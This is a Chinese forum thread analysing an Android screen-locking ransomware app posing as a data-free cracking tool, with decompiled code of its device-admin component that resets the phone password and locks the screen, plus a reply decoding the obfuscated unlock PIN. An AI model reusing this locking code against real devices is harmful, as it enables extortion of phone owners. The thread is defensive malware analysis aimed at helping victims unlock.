吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 25344|回复: 35
收起左侧

[移动样本分析] 对锁机app【云免破解版】的逆向分析

  [复制链接]
lpdswing 发表于 2016-10-8 00:40
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
应管理建议先上锁机图,还有声音,非常可恶。
QQ截图20161008144858.png
大家不要轻信什么免流刷赞之类的东西,软件打开都会申请权限,一定要看清楚再选择.好了,我们打开软件看到,选择拒绝三次之后进入软件界面,注册登录发现啥都没有。允许的小伙伴已经被锁机了。

1.png

我们打开程序首先就是问我们要权限,发现在e.smile里面,

2.png

给了su权限就把data.txt放进系统里面,我们猜想这个data.txt就是真正的锁机成序。
压缩软件打开看一下,果然是锁机程序

3.png

接下来重命名data.apk反编译分析一下代码.在入口看到

4.png

看一下myadmin.class的代码
[Asm] 纯文本查看 复制代码
package com.cjk;

import android.app.admin.DeviceAdminReceiver;
import android.app.admin.DevicePolicyManager;
import android.content.Context;
import android.content.Intent;
import android.util.Log;

public class MyAdmin
  extends DeviceAdminReceiver
{
  String QQ群号571012706 = "ATMyMDN1YzN4kjealXW4h1dXZnV1VFdUN3UyJVcRBHUv9kbO1WTsx0aLpmSplEaId2RmZUZFRGRjNkYCFWQ";
  String pin = DU.getsss(this.QQ群号571012706);
  String 三生石畔 = new StringBuffer().append(new StringBuffer().append(this.彼).append(this.岸).toString()).append(this.花).toString() + this.开;
  String 岸 = (String)this.pin.subSequence(1, 2);
  String 开 = (String)this.pin.subSequence(21, 22);
  String 彼 = (String)this.pin.subSequence(2, 3);
  String 花 = (String)this.pin.subSequence(14, 15);
  
  @Override
  public CharSequence onDisableRequested(Context paramContext, Intent paramIntent)
  {
    getManager(paramContext).lockNow();
    getManager(paramContext).resetPassword(this.三生石畔, 0);
    return super.onDisableRequested(paramContext, paramIntent);
  }
  
  @Override
  public void onEnabled(Context paramContext, Intent paramIntent)
  {
    try
    {
      Object localObject = Class.forName("com.cjk.s");
      localObject = new Intent(paramContext, (Class)localObject);
      ((Intent)localObject).setFlags(268435456);
      paramContext.startService((Intent)localObject);
      getManager(paramContext).resetPassword(this.三生石畔, 0);
      super.onEnabled(paramContext, paramIntent);
      return;
    }
    catch (ClassNotFoundException paramContext)
    {
      throw new NoClassDefFoundError(paramContext.getMessage());
    }
  }
  
  @Override
  public void onPasswordChanged(Context paramContext, Intent paramIntent)
  {
    getManager(paramContext).lockNow();
    getManager(paramContext).resetPassword(this.三生石畔, 0);
    super.onPasswordChanged(paramContext, paramIntent);
  }
  
  @Override
  public void onReceive(Context paramContext, Intent paramIntent)
  {
    Log.i("------", "onReceive-----");
    super.onReceive(paramContext, paramIntent);
  }
}


重置的密码也就是三生石畔的值。

5.png

所以我们只要得到三生石畔的赋值就好了,我们到java中打印一下

6.pan.png

7.png

这就得到了锁机密码。他这里调用了一个DU.getsss的函数,this.三生石畔 = stringBuffer.append(stringBuffer2.append(stringBuffer3.append(this.彼).append(this.岸).toString()).append(this.花).toString()).append(this.开).toString();锁机模拟器上再装一下data.apk就会显示输入pin界面,实测手机重启就可以了。
作者有点小狡猾,我们重启输入BaHk,就顺利开机了,卸载掉锁机就可以了
附上源程序链接:http://pan.baidu.com/s/1i5bOXYd 密码:haiw





点评

锁机软件的图片都太那个了,不太好吧  发表于 2016-10-8 14:16
建议附带一张锁屏界面的图 这样可以让大家认识到这款锁机软件 另外也可以让中招人员识别出来自己中的是否这款  发表于 2016-10-8 11:45

免费评分

参与人数 7威望 +1 热心值 +7 收起 理由
zhangruoya + 1 热心回复!
Angel55555 + 1 我很赞同!
Hmily + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
Alog + 1 热心回复!
Hyabcd + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
1595901624 + 1 大牛,你好
想你每一天 + 1 谢谢@Thanks!

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

古曼童丶 发表于 2016-10-8 01:17
666666666666666666666

点评

哥们,还请不要灌水  发表于 2016-10-8 23:41
Andy0214 发表于 2016-12-16 11:38
我这里有个改进的代码
import java.io.UnsupportedEncodingException;
import java.util.Base64;


public class Lock {
       
        public static void main(String[] args) throws UnsupportedEncodingException {
               
                String string1 = "ATMyMDN1YzN4kjealXW4h1dXZnV1VFdUN3UyJVcRBHUv9kbO1WTsx0aLpmSplEaId2RmZUZFRGRjNkYCFWQ";
                String string2 = new StringBuffer(string1).reverse().toString();//reverse()反转
               
                byte[] Bytes = Base64.getDecoder().decode(string2); //Base64解密
                String pin = new String(Bytes, "utf-8");
                System.out.println(pin);
               
                String 岸 = (String)pin.subSequence(1, 2);
                String 开 = (String)pin.subSequence(21, 22);
                String 彼 = (String)pin.subSequence(2, 3);
                String 花 = (String)pin.subSequence(14, 15);
               
                String 三生石畔 = new StringBuffer().append(new StringBuffer().append(彼).append(岸).toString()).append(花).toString() + 开;
               
                System.out.println(三生石畔);
       
        }

}
boboqcc 发表于 2016-10-8 01:21
艺海小田 发表于 2016-10-8 06:47 来自手机
学习了,谢谢楼主分享
zhanghan87 发表于 2016-10-8 07:09
学习了  支持楼主
lan2602144404 发表于 2016-10-8 07:30
看不懂,支持一下
gaven98 发表于 2016-10-8 08:25
太厉害了,记号以备不时之需
想你每一天 发表于 2016-10-8 08:43
学习了,谢谢楼主分享
猫不扑 发表于 2016-10-8 08:51 来自手机
厉害,魔法师级别的
QNLY 发表于 2016-10-8 08:54
学习一下,感谢分享流程
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-28 05:48

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表